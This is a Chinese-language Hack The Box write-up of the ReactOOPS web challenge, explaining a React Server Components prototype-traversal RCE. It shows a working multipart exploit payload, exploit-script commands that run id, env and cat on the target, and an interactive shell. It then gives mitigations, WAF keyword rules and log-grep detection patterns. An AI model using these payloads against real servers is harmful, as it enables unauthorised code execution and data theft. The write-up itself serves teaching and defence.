Hack The Box 退役挑战 ReactOOPS 的 Writeup——CVE-2025-55182/CVE-2025-66478(React2Shell RCE)的完整解决方案与教学指南。包含详细的漏洞分析、利用技术与团队学习资料。
作者:TheStingR - Team ISP1337Hackers
挑战:ReactOOPS(Web)
平台:Hack The Box
难度:非常简单 - 已退役
解决日期:2025年12月13日
ReactOOPS 是一个利用 CVE-2025-55182 / CVE-2025-66478 的 Web 挑战,该漏洞是 React Server Components 和 Next.js App Router 中一个严重的未认证远程代码执行漏洞。
关键发现:
hasOwnProperty 检查该挑战展示了一个精致的 Next.js 应用程序,运行着 NexusAI 的助手界面。该应用似乎通过 React Server Components 处理用户输入,但响应式层中微小的故障暗示着底层存在漏洞。
该应用使用:
Flight 协议是 React 专有的序列化格式,用于在 Server Component 架构中在服务端和客户端之间传输数据。它使用如下引用:
$1 - 指向位置 1 处对象的引用$1:path:to:value - 属性路径遍历React 的 ReactFlightReplyServer.js 中的易受攻击代码:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
安全版本(本应如此):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
如果没有 hasOwnProperty 检查,攻击者可以遍历:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
该漏洞存在于 Next-Action 验证之前:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
通过在反序列化过程中触发 RCE,攻击者可以绕过所有 action 级别的安全检查。
# Test if service is responding
curl -v http://<IP>:PORT/
预期结果:Next.js 应用返回 HTML,且启用了 RSC
查找以下特征:
next- 前缀的响应头<script type="text/x-component"> 的 HTML.next 目录产物最可靠的判断方法是尝试一次原型污染攻击并观察响应:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
目标:在不造成破坏的情况下确认服务器存在漏洞
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
它的作用:
Next-Action: x 头的 multipart POST 请求{} 的载荷:["$1:a:a"]{}.a.a预期输出:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
结果解读:
E{"digest":✅ React 错误处理格式目标:验证任意命令执行
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
它的作用:
Next-Action: x 的 POST 请求预期输出:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
关键洞察:输出显示 uid=0(root) - Web 服务器正以 root 身份运行!这是一个放大了影响的安全配置错误。
目标:梳理文件系统并定位敏感文件
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
发现的目录结构:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
关键发现:flag 文件位于 /app/flag.txt,权限受限(600)
目标:读取 flag 文件
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
输出:
HTB{jus7_REDACTED_2025-55182}
✅ 挑战完成!
该利用构造了一个 Flight 协议载荷。命令载荷如下所示:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Parse multipart form data
→ name="1" → JSON object with "then" property
→ name="0" → String "$@1"
2. Process references
→ "$@1" means "reference to chunk 1"
→ Look up chunk[1].value
3. Resolve reference path
→ Reference: "$1:__proto__:then"
→ Split on colons: ["", "__proto__", "then"]
→ Start with chunk[1]
→ Access [__proto__] → traverse to prototype
→ Access [then] → access then method
4. Construct fake Promise
→ Create object with .then() method
→ Method contains command payload
5. Execute Promise .then()
→ React treats as Promise-like
→ Calls the .then() handler
→ CODE EXECUTES AS ROOT
我们使用了 exploit-redirect.sh,原因如下:
立即采取的行动(在修补之前):
如非必要,禁用 RSC
// next.config.js
module.exports = {
experimental: {
rsc: false // Disable React Server Components
}
}
限制 Next-Action 的使用
// middleware.ts
export function middleware(request) {
// Reject all POST requests with Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
网络分段
# Only allow trusted sources
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
立即修补:
# Update Next.js
npm install next@latest
# Or specific patched version
npm install [email protected]
# Verify versions
npm ls next react-server-dom-webpack
安全加固:
以非 root 身份运行 Web 服务器
# DON'T do this:
RUN npm start # As root
# DO this:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
输入验证
// Validate all Flight protocol inputs
app.post('/api/*', (req, res) => {
// Check for suspicious patterns
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
速率限制
// Limit POST requests per IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
WAF 规则:
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
日志监控:
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
行为检测:
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};
一个缺失的检查 = 严重漏洞
hasOwnProperty 保护被导入但从未使用原型链很危险
obj[key]hasOwnProperty 或 Object.create(null)在验证之前进行反序列化是危险的
默认进程权限很重要
非破坏性检测很有价值
detect.sh 在不造成破坏的情况下证明漏洞存在系统化的侦察
理解技术原理
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
# Launch full interactive shell
./shell.sh http://<IP>:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file
# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
| 脚本 | 机制 | HTTP 代码 | 检测特征 |
|---|
| exploit-redirect.sh | 原型遍历 + Promise 链 | 303 | x-action-redirect |
| exploit-throw.sh | try-catch 中触发错误 | 500 | 错误信息位于响应体中 |
| exploit-blind.sh | 侧信道(文件写入、DNS) | 200 | 带外(Out-of-band) |
| exploit-reflect.sh | 在响应中直接回显 | 200 | 响应体中的命令输出 |
| shell.sh | 交互式封装 | 因情况而异 | REPL 交互界面 |
| 时间 | 操作 | 结果 |
|---|
| T+0s | 初始连接测试 | 服务正常响应 |
| T+10s | 运行 detect.sh | 确认存在漏洞 |
| T+30s | 执行 id 命令 | 确认 root 权限 |
| T+1m | 列出 /app 目录 | 找到 flag 位置 |
| T+1m 30s | 读取 flag 文件 | 提取 flag |
| T+2m | 验证 | 挑战完成 |